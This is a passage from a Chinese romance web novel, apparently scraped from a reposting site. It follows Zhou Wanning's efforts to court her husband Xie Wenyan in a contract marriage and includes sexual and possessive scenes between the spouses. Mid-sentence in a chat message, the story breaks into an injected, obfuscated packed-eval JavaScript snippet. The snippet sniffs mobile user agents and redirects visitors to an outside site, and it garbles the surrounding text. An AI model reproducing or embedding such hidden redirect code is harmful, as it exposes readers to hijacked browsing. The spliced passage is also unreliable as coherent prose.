“我朋友和周老师都是京舞毕业的学生。她说周老师是那届跳舞最牛的,如果不是后来没走艺术路线,这会儿估计已经在竞争京舞团的首席了。你要是和我抢名额,那顶多算是公平竞争,” 说着,叶希荷看向周绾宁,“她要是来参与呢,那就是降维打击。” 徐婧也看向周绾宁,嘟囔:“怪不得穿什么都气质好。”想了想,她又问,“周绾宁,为什么你后来没继续跳啊?” 周绾宁愣了下,微微一笑:“生活所迫。” “可你开着保时捷911,身上就没有一件不是牌子货。怎么也不像缺钱的人啊。” 叶希荷一点也不信她口中的这个原因。 周绾宁不想跟她们说太多,只能随意找了个借口打哈哈过去。 等大家的注意力转移开后,她才看向自己身上的衣服和首饰,发现谢温言确实从外物上把她养得很好。 无论是穿的还是用的都是顶尖货,就连她日常吃的水果,也不便宜。 都说由奢入俭难。 等以后和谢温言离婚,想要一下子从他给的象牙塔般的生活里走出,好像不是一件容易的事。 * 回家后,周绾宁做的第一件事,就是将大伯母给自己的生腌海鲜,一一收进冰箱,妥帖地保存起来。 谢温言是半个小时后回来的。 他走到厨房,一边倒水喝,一边装作漫不经心地询问:“上午回你的消息,有看到吗?” “嗯。”点着头,周绾宁掰开一只酱螃蟹。 在看到里面满满的蟹黄时,她的眼里是藏不住的开心。 谢温言:“……” 很显然,周绾宁的注意力不在他的话上,也不在他这个人上。 他低头喝着柠檬水,眼眸里的不爽明显了三分。 早上,她将他给的果汁送给其他人也就算了,现在,他在她眼里甚至还不如一只螃蟹存在感足。 谢温言想忍,没忍下去。 他站直身体,决定就这件事和她好好谈谈。 这时,周绾宁开心地塞了块酱牛肉给他,还哄小孩似地“啊”了一声。 那一刻,饶是再生气,谢温言还是很配合地张嘴,乖乖咬住她分享给他的肉。 “这是周辞安拿给我的。” “我伯母做生腌和酱牛肉一绝。我想你可能吃不惯生腌的海鲜,就给你吃酱牛肉了。” 周绾宁在完全密封这些菜品前,又捞起一块牛肉,塞到谢温言的嘴前。 但这一次,她沾着卤汁的指尖被男人有意无意、或轻或重地咬了一口。 一阵酸酸麻麻的感觉顿时顺着周绾宁的右手,直达她的心脏,刺激着那儿快速跳动,以至于她都忘了可以把手抽回来。 偏偏,罪魁祸首像是压根没发现咬到她了。 他回正身体,抽出两张纸巾,帮她细致地擦拭掉手上的卤汁,一本正经地回复:“很好吃。” 他的目光落在她的手指上,给人一种错觉,他说的好吃,不是指牛肉,而是……她。 不管周绾宁承不承认,谢温言在撩她的这件事上,总是那么的恰如其分,不会过分让她觉得被冒犯,但又会撩到她的心尖上。 就在她抽回手,继续整理冰箱时,谢温言又问了一句: “所以,那张照片你觉得怎么样?如果喜欢,我让人洗出来挂到房间去。” “……什么照片?”周绾宁没太理解。 谢温言愣了下:“不是说看到我消息了?” 周绾宁仔细回想了下。 应该就是那句他错发给她的【换好了。】 见她一脸茫然的样子,谢温言也知道自己得不到什么评价。 “也没什么,我去书房处理点事情。”说着,他放下玻璃杯,转身要走。 周绾宁连忙伸手,掌心擦过他冷硬的表盘,最终紧握住他的手背:“谢温言。” 男人的目光往回移,有一瞬的被哄好。 但谁知,周绾宁的下一句话却是:“温鄞他还好吧,我在想明天要不要过去看看他,但我一个人过去不太好意思,你能不能……” 谢温言也是没脾气了,干脆拿出谢温鄞委托给自己的承诺书,推到周绾宁面前:“签了它。” “嗯?”周绾宁拿起那张字条,看着上面七歪八扭的文字,还有时不时冒出的拼音,一看就是谢温鄞的手笔。 后来看明白上面的话,发现还真是。 “小朋友怕你被他同学抢走去做小舅妈,特意让我拿这张承诺书向你要个保证。” 想到什么,谢温言追加一句,“他想要你用小花的章盖。” 周绾宁点点头,把纸条仔细收起来,想等回了楼上找出章,再让谢温言帮自己带给谢温鄞,或者明天他们可以一起过去。 “没什么事,我就先去书房了。” 谢温言从不觉得自己是拖拉、扭捏的性格,但今天面对周绾宁,他就像是摇尾乞怜的狗,追着要她伸手抚摸。 他不再等她发话,转身去了隔壁书房。 周绾宁则留在原地叹了口气。 总觉得那天睡了以后,谢温言对她的态度就冷淡了许多。 可能是回味过来他刚回国的那几天,她确实在冷着他? 但…… 被他独自留在京城,面对他三姑六婆的慰问,还要对外维持他们之间感情很好的假象,她有点情绪,应该也是很正常的事吧。 想着,周绾宁把自己近期的遭遇和困惑,还有她想追谢温言的想法,一五一十地告诉了明潇,想让她帮忙出个主意。 明潇:【哇哦,我的小公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338659|167799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主,你终于想通了!】 【我就说嘛,你们男才女貌的,本来就很般配,怎么可能对彼此一点想法都没有呢。】 【你想怎么追他?】 似乎是觉得不够明确,明潇又补充到:【或者说,你为了追他,能牺牲到什么地步?】 【你知道我的。遇到需要完成的事,要么选择不做,做了就会争取做到最好。所以追谢温言,我也是想尽量追到。】 周绾宁低着头默默回消息,无视了出来倒水的谢温言,一路迈着步伐往楼上走。 谢温言:“……” 他笑了笑,差点把手里的杯子捏碎。 原来,就连手机都比他好玩是吗? 周绾宁回到房间后,给明潇一个准确的答复:【我怎么牺牲都可以的。】 明潇想,这应该是周绾宁给出的最大诚意了,那么她这个军师也要迎难而上。 【你们已经不是小孩子了,就不需要再用送礼物的方式追了。】 【让你做其他的事情,好像也不太现实。除非……】 看到这些个回复,周绾宁的心都凉了半截。 这时,明潇又发来一句:【我的好闺闺,有你这样的颜值和身材,我感觉色丿诱是最快的捷径了。】 周绾宁:“……” 明潇:【上次我送你的bra派上用场了没?】 【没。】 明潇发来一个小人怒掐另一个小人的表情包。 周绾宁解释:【那时候,我对他还没有这个心思,甚至已经接受了三个月后和他离婚这件事。所以一直躲着他。】 【那现在为什么又有了?】 周绾宁抿了抿唇,发过去:【大概是从他身上看到了我向往的东西,想试试看,能不能拥有。】也想下决心有个了断。 【这样吧。姐又新买了几条,前两天刚洗完晒过,现在就叫同城跑腿给你拿过去。今晚你就上了他,别浪费我的一番苦心!记住!睡他!诱惑他!让他对你欲罢不能!】 周绾宁纠结地啃了啃手指:【这样,会不会不太好?】 【你又不是没跟他做过。以前和他做的时候,怎么不会觉得不太好?】 【以前是他想要,现在是我想要他。我有点不太好意思。】 【哟呵,你竟然会不好意思?】 明潇像是看见了什么笑话,【那是你老公,你就算把他强上了,那也是家务事!放心大胆地上吧。】 周绾宁放下手机,坐在床上,仔细考虑了下明潇说的方法的可行性。 发现确实可以试试。 也不一定今天真的要睡了谢温言,而是可以试探一下他对她到底是个什么态度,方便她思考接下来该怎么应对——是迎难而上,还是及时撤退。 周绾宁决定先这么办。 她洗过澡,披上浴巾,下楼用餐。 果不其然,谢温言以工作忙为由,让桐姨带她先吃。 周绾宁默不作声吃完晚餐后,拿上给已经敲过小花印章的承诺书,敲响了谢温言的书房。 门前,她的心情是紧张的。 甚至再三嗅了嗅身上的沐浴乳,确定是以往两个人做的时候,谢温言一直扒着她的脖子要闻的香味,才有些安心。 没想到对谢温言起了不该有的心思后,她竟然会有一种做贼心虚的感觉。 不过也确实。 怎么会不心虚呢。 以前她从未图过谢温言什么。 而现在,她竟然为了试探他、追求他,图起了他的身子…… “进来吧。” 里头传来男人低沉的应允。 周绾宁深吸一口气,按下门把手,循声入内。 11、渴望 谢温言没想到进来的人会是她。 他伸手做了噤声的手势,又指了指一旁的沙发,示意她去那儿等一等。 周绾宁见他在视频会议,就算来之前想直接对他霸王强挽弓,现在也有些偃旗息鼓。她乖乖坐在沙发上等他结束会议。 之前的他们,没有过工作上的接触,所以周绾宁很少见到谢温言在公司的那一面。 想来,那应该是认真、严厉、肃冷的谢温言。 这时,书桌后,男人低沉中略带威严的话音传来—— “教育和文化产业出现这么大的贪污腐败案,孙子琦作为教育部总经理,罪责难逃,直接启动内部调查吧,然后将结果上报给公安。” 电脑那端传来回应:“总裁,可是孙总是董事长夫人的亲弟弟……” “孙总,你的意思是,董事长夫人说话好使,我说的话就不好使,是吗?” 视频会议对面的人当即诚惶诚恐,说着马上去办。 谢温言依旧对着教育部门的疏漏进行着批评,别说电脑里,就是现在的书房里,也是一片鸦雀无声。 面对此情此景,周绾宁深觉自己挑错了时机。 原来谢温言是真的忙,不是借口。 结婚两年了,她还不是很完全地了解他,甚至也没见过他像现在这样生气的模样…… 此刻,周绾宁不免有些紧张和焦虑。 而这一情绪直接导致她觉得自己的小腹有点儿疼。 她觉得自己该找个借口离开,但看着浴袍里自己花了个把小时准备的战斗套装,有那么点儿不甘心。 不多时,谢温言关上电脑,出声问:“找我什么事?” 他的声音还没从责骂下属中抽离出来,仍淬着冰霜。 周绾宁犹豫一番,鼓起勇气走向他,先把自己盖好章的承诺书推到他面前:“这个,我已经盖过章了。”然后快速补了句话,“其他也没什么事……我看你还要忙,就先上楼了。” 最终,她还是不敢轻易越过雷池,慌忙地想要逃离。 但谢温言突然伸手拽住她,只轻轻一拉,就将她拉回了他的怀里。 不等周绾宁挣扎,男人突然低头凑到她的颈窝处轻轻嗅着,像是上了瘾,片刻后,才哑声问:“你找我,只是为了送这个?” “嗯……嗯!” 就在她应声的下一秒,谢温言忽然轻吻上她的脖颈,湿热的黏腻,足以让人麻了半个身躯。 周绾宁忍不住地低咛,伸手搭住男人箍在自己腰上的手,想要掰开却掰不动。 一双赭色的瞳孔里不免染上吓到后的发懵。 随着谢温言吻上她耳畔,她感觉自己的足尖都忍不住绷紧了,连忙出声制止:“谢温言!” 谢温言笑了一声。 他用大掌包住她的细腰,做出完全禁锢的状态,随后身姿微微后仰,就这么靠在老板椅上,眼眸微垂,里面森冷的视线,带着上位者的审视。 周绾宁转头看他,却又不敢与他对视。 目光向下躲避时,她看见他白皙的脖颈上喉结滚动着,下方解了两颗的白色衬衫,露出来十分引人遐想的部分,勾得人想要窥视更多。 现在不勾引他……还想等到什么时候? 周绾宁仔细一思考,侧过身就这么凑了过去。 她想要吻他的唇,但因为是坐在他腿上,所以她的唇离他的下巴有点远,而他又是仰着头,最后她只能落吻在他的喉结上。 心跳鼓动的声音,在这一刻放大无数倍。 同时,周绾宁隐约听到身下谢温言的呼吸,变得有点儿重。 见他没拒绝,那双禁锢着自己腰身的手还松了些,周绾宁大着胆子,一点点顺着他的脖颈吻到了他的下巴。 直到他突然低下头,与她撞上双唇的同时,也撞上了视线。 “周绾宁,你在干什么?” 他沉着眼眸,满含不解,只是再次握紧了她的腰身,像是预判到她会逃离。 周绾宁见逃脱不了,下意识想将“在追你”三个字脱口而出,但到了嘴前,变成了:“讨好你。” 谢温言挑眉:“原因?” “可能是因为……这两天你对我很冷漠。” 难得被贼喊捉贼,谢温言双手抱胸,笑着看她:“比如?” 周绾宁想举例,发现举例不出来,因为本来就是借口罢了。 但既然表达了委屈,就要言之凿凿的:“感觉那晚睡了后,你就对我很冷淡。” “那好,我们谈谈。” 周绾宁不知道他要谈什么,有点儿心虚地点头。 她发现这种时候,幼师训人的经验,根本派不上用场。 平时,自己对孩子都凶不起来,更何况面对的人还是手底下有几百号员工的谢温言。 论气势,是他训她还差不多…… “首先,我没有冷落你,反倒是你……”谢温言话语一滞,转而严肃着继续说道,“其次,周绾宁,我需要的是夫人,不是仆人。” 周绾宁面露茫然,有些对他的话似懂非懂。 谢温言解释:“我不需要你讨好我。我们是平等的,只有下位者才会用讨好两字。” 下位者…… 周绾宁虽然很不想承认,但在她和谢温言之间,她天然就是个下位者。 当初他像是神明一样出现在她前两年近乎贫瘠的生命里,救她出困境,也是他给了她一段为期两年的婚姻,让她在茫然的时候,有个暂时的依靠。 但他给她的东西,就像是上帝曾给过她的美好家庭,是随时可以被收回的。 就连这段婚姻也是。 他一开口,她就算不想离婚也没办法。 她和谢温言之间怎么可能平等呢? 她不想继续这个沉重的话题,故作轻松地圈住他的脖颈:“那你就当……我是在勾引你。” 谢温言一愣,显然没想到话题会往另一个方向转变。 他沉默了一会儿,随后带着不确定的疑惑开口:“勾引?所以你刚刚是在勾引我?” “嗯……”周绾宁煞有其事。 谢温言笑了,片刻后,眼神玩味又撩人:“绾宁,勾人不是你刚刚那样的做法。” 周绾宁愣了下,还没说话,突然,谢温言将她整个托起摁在办公桌上。 这个体式如果是一般人,可能会受不了。 但周绾宁练了二十多年的舞蹈,腰肢软到再是高难度的动作,也不怕。 谢温言单手撑在她的脑袋旁,另一只则捞起她的腿架到他的腰上,他就这么居高临下地看着她,深邃的眼眸里带着毫不掩饰的慾望。 一切就好像是回到了两个人最热衷于做那件事的时期。 有时候他只是朝她走来,都带着让人腿软的倾袭感,像是要将她吃拆入腹。 “谢温言……” 她伸手勾住他的肩膀,竭力稳住自己的核心。 谢温言顺势撩开她的浴袍,将她的肩膀与空气中的微凉接触。 接着,他低下头。 灼热的气息喷洒在她的肌肤上,要亲不亲的,声音喑哑:“安静地感受我。” 周绾宁愣了下,一开始还不明白他的话,但随着感受到他在用那处用力地对自己碾磨,才意识到自己对他的蛊诱,不过就是小儿科,而他才是高手。 果然,谢温言做什么都很优秀,包括诱引她…… 而他一旦对她展现诱引的功力,她根本就不是他的对手。 她有些紧张,而一紧张所表现出来的,就是下腹的坠疼开始愈发明显。 忽的,周绾宁显然迷离的眼睛骤然大睁。 她意识到了小腹的疼是因为什么!!! 几乎是用了吃奶的劲,她将身上的男人一把推开,随后风风火火跑去离自己最近的厕所。 在一番查看后,发现果然—— 是她的例假来了。 不久,门外响起谢温言低沉的询问:“绾宁,怎么了?” 周绾宁四下查看着这间厕所,发现这里并没有卫生巾的存在。 她支支吾吾有些不太好意思说。 直到后来谢温言再三敲门询问,她才羞臊地托盘而出。 “谢温言,我……例假来了。” “这里没有我要的东西。你能不能叫桐姨帮我拿一条新的内裤和卫生巾?” 外面静了静,他温声道:“好,我去帮你拿。” 大概五分钟后,卫生间的门打开,白皙的手递进来一条粉粉嫩嫩的内裤和一张卫生巾。 周绾宁红着脸接过,快速收拾好自己。 虽然两人已经坦诚相见过不少次,但这种夫妻间经常顺手做的事,很少在他们之间发生。 这比她在床上看着他陷入沉迷时,还要羞赧上几分。 她洗干净手,走出卫生间。 谢温言不曾离开,站在门口等她出来。 周绾宁面色不自然地抿抿唇,有些像是做错事的小孩。 明明是来勾引他的,结果一切戛然而止于她的例假,说真的,还挺对不起谢温言的。 特别是他那儿…… 周绾宁垂眸看向他还未歇下的大兄弟,刚刚它碾磨她的时候,可以明显感受到谢温言是情起的状态,他现在应该不太好受。 这时,谢温言走过来问她:“还好吗?” 周绾宁点点头:“除了小腹有点儿疼,其他都还好。” 谢温言从一旁的沙发上拿来披肩给她仔仔细细地披上,温声叮嘱:“既然来大姨妈了,就不要让自己再着凉,也不要太累。我收拾下东西就去吃饭。你先回房间吧,今晚我回房睡。” 见他下了逐客令,周绾宁也不想在这种尴尬的氛围里停留。 她点头,快速溜出书房,准备上楼休息。 但就在她快要踏上楼梯时,才发现自己的手机遗落在了书房的沙发上,于是她叹了口气,返回去。 那时,书房里已经没有谢温言的身影了。 周绾宁快速捞起手机打算离开,这时,不远处的卫生间里传来细微的动静。 是独属于男性极其隐忍但又性感的低哼。 周绾宁愣了愣,过去将手放在推门上,想要询问谢温言是不是遇到了什么事,需不需要她的帮忙,却听见里面一声声喘丿息与低吟在逐渐加重加快。 “绾宁……” 他在喊她。 像是比什么时候都渴望她。【你现在阅读的是魔蝎小说 moxiexs】 12、离婚 周绾宁还记得,两人刚领证的时候,有一段时间相敬如宾到就算是睡一张床,中间也隔着大半的距离。 谢温言很尊重她,说她不愿意之前,他们不会发生任何越过暧昧的事情。 直到领完证的第二个月,她撞见谢温言在浴室里自己解决。 最后,她犹豫再三,推开了那扇人影幢幢的浴室门。 明亮的浴室光,将谢温言那白皙挺括的身躯,完全暴露在自己的眼前。 那时候,她才意识到自己未来两年的老公,俊秀非凡、躯体诱人。 他见她闯进来,后退双手抱胸靠在洗漱台上,语气平淡地提醒她越过了那条界。 她逼近他,伸手握住他卷起来的浴裙上。 只需要轻轻一扯,他的身体就对她没有任何秘密。 那次是她唯一一次在他神色上看到慌乱,但须臾之间,他缓和了神色,眼眸漆黑带着淡淡的疯狂。 他伸手握住她的,暗含警告:“再不出去,我不保证你还能好好的。” 周绾宁之前是绝对不敢逾矩的,但那次他帮了周家很大的忙。 伯父说,他能收回她父亲丢失的大部分周家产业,都是谢温言帮的忙。 她想,自己没什么好报答谢温言的,最好的报答就是这两年做好他的妻子,所以今天她过来了。 她挨近他,没有直接踮起脚尖想要吻上他俯下来的唇,只是他太高了,纵使她踮起脚尖还尚且有些亲不到。 谢温言伸手握住她的腰身,灼热的气息洋洋洒洒落在她的唇间:“想好了?” 这三个字指的是什么,周绾宁很清楚。 那时候她没有回答,而是勾住他的脖颈,让他的头低下。 双唇触碰的瞬间,注定一夜无眠。 第一夜,谢温言让她感受到了无尽的温柔,可再后来……温柔开始变质,变得强制又蛮横。那些每个被他用力疼爱的夜,都会让她陷入一些误会里。 误会他有那么一丁点喜欢她。 但后来她才明白,做是做,爱是爱,两者根本不是一回事。 周绾宁看着眼前紧闭的浴室门,这一次没选择推开,而是转身走远。 不过因为“撩后不负责”这件事,周绾宁一直到第二天下班时,还有点儿愧疚和难安。 她决定做点什么补偿谢温言。 趁着课间闲暇,她拿出手机给林星禾发了条消息,向她的花店订了束玫瑰花,还有花束要送达的地址。 接下来六天她都没办法对他色丿诱了,那么送花多少算是一种追求方式。 林星禾:【每天送21朵玫瑰花给甲方,你这丫头追个人整得还挺浪漫呀。】 【要不要写什么话替你转交?我这新到了好多好看的贺卡,很漂亮的。】 周绾宁想了想,发过去:【不用了,他应该能明白。】 应该……能明白的吧? 玫瑰花表达的是爱意。 虽然她对他还称不上是爱,顶多算是有好感,但每一段感情的最初,不都是从好感开始的吗? 林星禾没再多问,大约在半个小时后,她发来一束用白色包装与米色蕾丝布料一起包裹,还配上酒红色丝带的21朵玫瑰花花束。 很特别,很精致。 林星禾:【已经叫跑腿送过去了,姐妹的爱情由我来守护!】 周绾宁回了个谢谢,打开和谢温言的对话框,刚编辑了一条:很快你就会收到一份…… 字还没打完,办公室门被人突然敲响。 她吓得慌忙看去,发现是周辞安后,松了口气。 现下办公室已经没有其他老师了,所以周绾宁很是熟络地起身走过去,把早上谢温言给她的果汁递给他。 周辞安一手接过,另一手递出舞蹈室的钥匙:“呐,你要的。” 周绾宁伸手接过,眼露欣喜。 但周辞安很是不解:“这样看来,姐夫也太不心疼你了。梧桐湾那么大,竟然连一间舞蹈室都舍不得收拾出来。还要你以后跑大老远来幼儿园练舞?” 昨晚他收到周绾宁的请求时,就很不解但没多问。 周绾宁愣了下,仰起脸装作若无其事的模样:“其实我也不打算告诉谢温言,我想重拾跳舞的这件事。” 谢家不太喜欢她抛头露面。 而谢温言在这点上的的态度,和谢家人大抵是完全一致的,所以这件事暂时还是不要让他知道了。 周辞安并不清楚他们夫妻俩的关系究竟如何,只当她是另有安排。 “你准备练什么剧目?” 周绾宁微微一笑,摆出神秘兮兮的模样:“这是秘密~等练完,再给你们看。” 周辞安笑了笑,伸手宠溺地揉揉堂姐的脑袋:“好,期待我们的周首席重回舞台大放异彩。” 周绾宁“啧”了一声,摆出姐姐的威严:“不许没大没小。” 周辞安笑了笑,他也不久留,说自己还有事,叮嘱她早点回家。 周绾宁点点头,目送他离开后,收拾好自己的东西,出发前往幼儿园旁边的菜市场。 原本下班后是要去看望谢温鄞的,但孙晗莉怕谢温鄞待在京市这正好花开的季节会再次哮喘发作,直接将人送去了冰岛躲春。 所以今晚闲暇无事,她决定除了送花以外,还要亲自下厨,给谢温言好好露一手。 但当她拎着大包小包的菜回家时,差点吓到正准备出门买菜的桐姨。 “夫人,您这是?” “桐姨,今晚我给你放假。我想亲自下厨做顿烛光晚餐给谢温言吃。” 桐姨顿时理解小两口今晚是要搞些情调。 于是她暧昧一笑,点点头:“好,桐姨这就回去,把梧桐湾留给你们小两口。” 本也是没什么,但听到桐姨的笑容时,周绾宁的小脸忍不住泛起绯红。 她快速对桐姨挥手再见,随后跑去厨房,清洗今晚要烹饪的食材。 周绾宁很少下厨房,也没尝过自己做的菜,只觉得按照食谱烹饪,再怎么也不会很难吃。 将近三个小时,她完成了一大桌子的菜,当然手上也留下了不少的伤口。 有被海鲜刺伤,有被热油烫到,还有个小刀割开的口子。 桐姨不在,她只能自行治疗。 可是日头已经落下,一向准时回家办公的男人并没有回来。 周绾宁这才想起来,该给他发个消息。 于是她打开微信,删掉自己没来得及给谢温言发过去的字句,询问他:【谢温言,你什么时候回家?】 发完,她又对着一桌子的菜进行拍照,想勾他快点回来。 但还没摁下快门,上方显示了谢温言的回复:【今晚有应酬,晚餐你和桐姨吃吧,明天带你去旋转餐厅吃饭。】 周绾宁手指停在屏幕上,她默默地取消了拍摄,看着两个人的聊天框沉默许久。 最后,她发现自己和谢温言的交流,确实很少。 以至于今晚他不回家吃饭这件事,她都那么晚才知道。 半晌后,谢温言询问:【绾宁?】 【那你好好应酬,我在家等你回来。】 【今晚我回家可能要晚点,不用等我。注意保暖别着凉,肚子疼了用暖宝宝。我叫桐姨把暖宝宝都收到了你的床头柜里。】 丈夫的贴心,他果然演绎得很好。 可现在的周绾宁并不想要这个,她想要谢温言的真实,真实的爱也好,真实的不爱也好。 但心中的千言万语,最后只形成一个字:【好。】 她放下手机,背对那一桌逐渐泛凉的菜,默默坐在沙发上,打开电视看了起来。 一切仿佛回到了周家落败后,她独自一人守着晚餐等家人归来的样子。 只不过以前或是一碗汤面,或是一道炒饭,没有今天那么丰盛的时候。 她搬进梧桐湾后,对谢温言表达过自己不想一个人吃饭的诉求。 但谢温言因为经常忙于工作又或是出差,不经常回家吃饭,所以他会让桐姨陪她一起用餐。 而只要不忙,就是他陪着她吃。 但今天…… 周绾宁抱住自己的双膝,无聊地看起了电视新闻。 刚转到财经频道,那个说不回来吃饭的人出现在了新闻播报里。 电视上主持人的声音慷慨激昂:“近日,当红舞蹈家沐黎全国巡演最后一站,将在京市举办,据传此次回京,她还将与盛坤集团教育部签下为期两年的合约,成为盛坤教育的代言人。昔日京市的金童玉女,将在今晚齐聚京市国际剧院舞台。” 周绾宁记得,她家是在她初中时,带着大部分产业迁徙到京市的。 那时,她一门心思都在舞蹈上,不太与京圈的人打交道,所以对于“京市金童玉女cp”,几乎是从未听闻。 现在新闻上出现这一用词,她受到了不小的震撼。 原来不止孙晗莉、谢家人,就连京市的媒体都认为他们本该是一对。 这时,电视新闻又播报了谢温言在盛坤雷厉风行扫掉一些贪污高管的事情,主播对他赞不绝口。 周绾宁拿起手机,让电视成为背景音,专注刷起了网络社交账号。 却发现此刻微博的热搜,竟然也是谢温言……和沐黎的各种消息。 词条下的实时和热门,主要是沐黎演出的照片,还有一些谢温言和沐黎的合照。 周绾宁想要退出,但意外被几条评论吸引了目光—— 「啊啊啊谢温言就该和女神沐黎在一块!真是天造地设的一对!」 「他们就是最配的!首席舞蹈家x首席执行官,希望他们能在一起!」 「说不定就是在一起了呢?他们之间都没有否认过是一对!啊啊啊我们的双首席cp一定是真的!」 周绾宁咬咬唇,在评论框里输下一句话发上去:「可是他有老婆了,他老婆并不是沐黎。」 发完,她退出去,准备浏览其他热搜,不过片刻却发现自己收到了许多的回复,轻而易举高达到99+条。 周绾宁点开最新的评论,愣住。 「谢温言从没有公布过老婆,怎么就不可能是沐黎!看ip也是京市的,你该不会在妄想自己就是谢温言的老婆吧,少在这里发癫。」 「沐黎都决定不再接国外的巡演了,说是要好好陪家人和恋人。她的朋友圈除了谢温言就没有别的异性朋友了!他们不是一对,难道谢温言和你是一对?」 「除了沐黎谁还配得上谢温言啊我请问!别来ky!就算谢温言有妻子,他们也迟早会离婚的。」 从没有经历过网络骂战的周绾宁愣在原地,手指都在颤抖。 她看着最后那条评论,鼓着两腮,坚定地回复:「谢温言会和他的妻子和和美美,不会离婚!」 随后,她无视微博的信息,查看起了最新刷到的一条视频。 镜头先是对准台上将古典舞跳得行云流水的沐黎,后又对准鼓掌微笑、眼眸含星的谢温言,就好像他在千万人间,眼中只有一个沐黎一样。 确实…… 男才女貌,很是般配。 周绾宁深吸一口气来舒缓泛酸且烦乱的心脏,她默默关掉电视,捧着书看了起来。【你现在阅读的是魔蝎小说 moxiexs】 13、玫瑰 等待是一件很辛苦的事。 哪怕谢温言告诉她不需要等他,但周绾宁知道自己执拗,想等的人、想等的事、想等的一个回答,多晚都要等到。 不过与谢温言的这场婚姻里,她好像一直都是等待的那个人。 等他从国外回来,等他提出离婚,又或是等他对她产生出一些渺茫的爱意,扭转现在的局面。 周绾宁孤寂地看向墙上的钟表,已经是8点了。 谢温言…… 应该是真的不回来吃了。 她默默地合上书,拿着手机上楼。 就在她踏上第一级台阶时,身后的大门忽然被人打开。 她茫然回头望去,只见一抹挺括颀长的身影踏着风雪步入客厅。 一开始,周绾宁还有些没回过神来,直到男人走到她面前,她才稍微有点真实感—— 谢温言真的回来了。 他身上还笼着一层寒夜的清冷气息,让她在他走近后,忍不住打了个冷颤。 “不是让你先回房间休息吗?” 谢温言从脖颈间取下围巾,走到她面前想为衣着单薄的她披上。 想到三个小时前,她还在为他舌战群儒,而他在舞台下看着前联姻对象的舞蹈表演鼓掌叫好,周绾宁下意识伸手婉拒他的好意,准备上楼睡觉。 而谢温言感受到了她的抗拒,眸色肉眼可见地变了变,俊秀的脸也沉下三分。 他将围巾下落到她的腰间,轻轻一勾,迫使她身形不稳从台阶上坠进他的怀里。随后他顺势拦腰一抱,就叫她再也无法挣脱。 “你……” “跑什么?” 谢温言居高临下地看着被他完全包裹住的人,眼眸里的温柔开始褪去,反而带着渐而浓郁的倾袭感。 周绾宁侧过头,避过他的这番审视,也不想跟他说话,只想保持安安静静的,像以前那样无论如何都对他不展现任何脾气。 谢温言眼眸沉下,直接将她像是抱小孩那样抱起,放到了一旁的吧台上,随即身躯挤入她的□□控制住她,不让她下来、也不让她离开。 这一刻,周绾宁的脸上才出现些许急色。 她使劲挣扎,却怎么也挣脱不了,最后气急败坏地喊着:“谢温言!” 男人微微挑了挑眉:“倒是少见你对我这样疾言厉色的模样,果然,兔子急了也有三分脾气。” 周绾宁不想搭理他,只重申着,“放我下去。我要回房间休息了,明天还要上班。” 也是直到这一刻,她才意识到眼前的男人坏透了。 他没有给她走入他世界的机会,却能轻易拨动她的情绪。 很显然,她在感情这个战场上远远不是他的对手。 “明明等了我三个小时,我一回来就借口明天上班要回房早点休息。虽然借口很合理,但周绾宁……” 谢温言轻扯了下自己的领带,姿态慵懒,但眼眸里笑意浅浅的,很有斯文败类的倾向,“我现在要是把你放了,我就哄不好你了。” “谁、谁要你哄。我没有不开心。”周绾宁嘴硬着,手还在推他。 但下一秒,她的双手被他一手禁锢,而他另一手搂着她的腰,将她无限制地往他怀里压入,成功让她的双唇来到了他的唇齿前。 “谢温唔……”她的呼喊骤然停在他强势入侵的吻里。 周绾宁想躲,但有些躲不过,只能仰着头被迫承受属于男人的缠吻。 这一次,他比任何时候都要霸道、凶狠。 差点让她以为眼前的人不是谢温言。 渐渐的,他将吻由浅入深,几乎让她喘不过气来。 安谧的餐厅一隅,尽是唇齿黏腻纠缠的声音。 良久之后,热吻平息。 周绾宁无力地将下巴架在谢温言肩上,靠着他,让自己从热吻中平复呼吸。 这时,谢温言的胸腔传来他的声音:“抱歉,留你一个人在家吃饭。”说着,他看向后面一桌子的菜,“怎么想到要亲自下厨?” 周绾宁看着他目光里的好奇,心想,我是想要追你。但话到了嘴边,变成了:“心血来潮,想做顿饭试试。” 谢温言点点头,放开她,走到一旁的餐桌上坐下,拿起筷子,作势要吃。 周绾宁连忙出声阻止:“都已经凉了,还是别吃了吧。” “这是你为我做的第一顿餐,当然得吃。”说着,他夹起一块糖醋排骨吃了起来。 周绾宁虽然很想阻止,但看到他已经入口,一时间情绪复杂不已。 特别是平时对吃食很是讲究的谢温言,此刻吃起已经泛凉的菜,丝毫没有表现出难以下咽的表情,反而吃得很香,像是在品尝着什么美味佳肴。 她做了四菜一汤,他每份都吃了不少。 其中有一份,周绾宁尝过味道的,没那么好吃,但此刻,谢温言有些来者不拒,将它也吃下了大半。 这一刻,周绾宁心底万分多的情绪里,被他肯定的开心占据了上风,还有一丝感动。 也许在谢温言的心里,她和她的菜,还是有一定分量的。 不过,有件事情,她还是想搞清楚。 “谢温言,你怎么突然回来了?” 她没告诉他,她做饭了啊。 “一个小时前,桐姨给我发消息提醒说,今晚会倒春寒,她怕鱼池结冰,想我早点回来帮盖一下防寒布。从她的只言片语中,我知道她不在家,询问了原因才知道你今天准备亲自下厨做饭给我吃,于是放了她的假。” 谢温言抬眸审视,“绾宁,为什么不直接跟我说,你在家做了饭等我回来?” 周绾宁垂眸:“因为怕……打扰到你的工作。” 一开始她确实是怕打扰他,后来则是觉得他可能还要陪沐黎参加巡演后的庆功晚宴,估计不会想回家吃饭。 她在他心里的重要,本就比不上他的工作,更何况现在他的工作里还有个沐黎。 上次,谢温言虽然否认了他给沐黎送花的事情,但他好像从未提过他对沐黎的看法。 如果谢温言是喜欢沐黎的,那她就不做他们感情里的小丑了…… 突然,男人抬起她的下巴,揶揄着:“周绾宁,难道在你的眼里,我已经过分到连顿饭都不愿意陪我的妻子吃了?” 周绾宁愣住。 同时,沉溺在一片酸海里的心脏,因为“我的妻子”四个字,不知怎么,竟也翻涌出了一抹甜来。 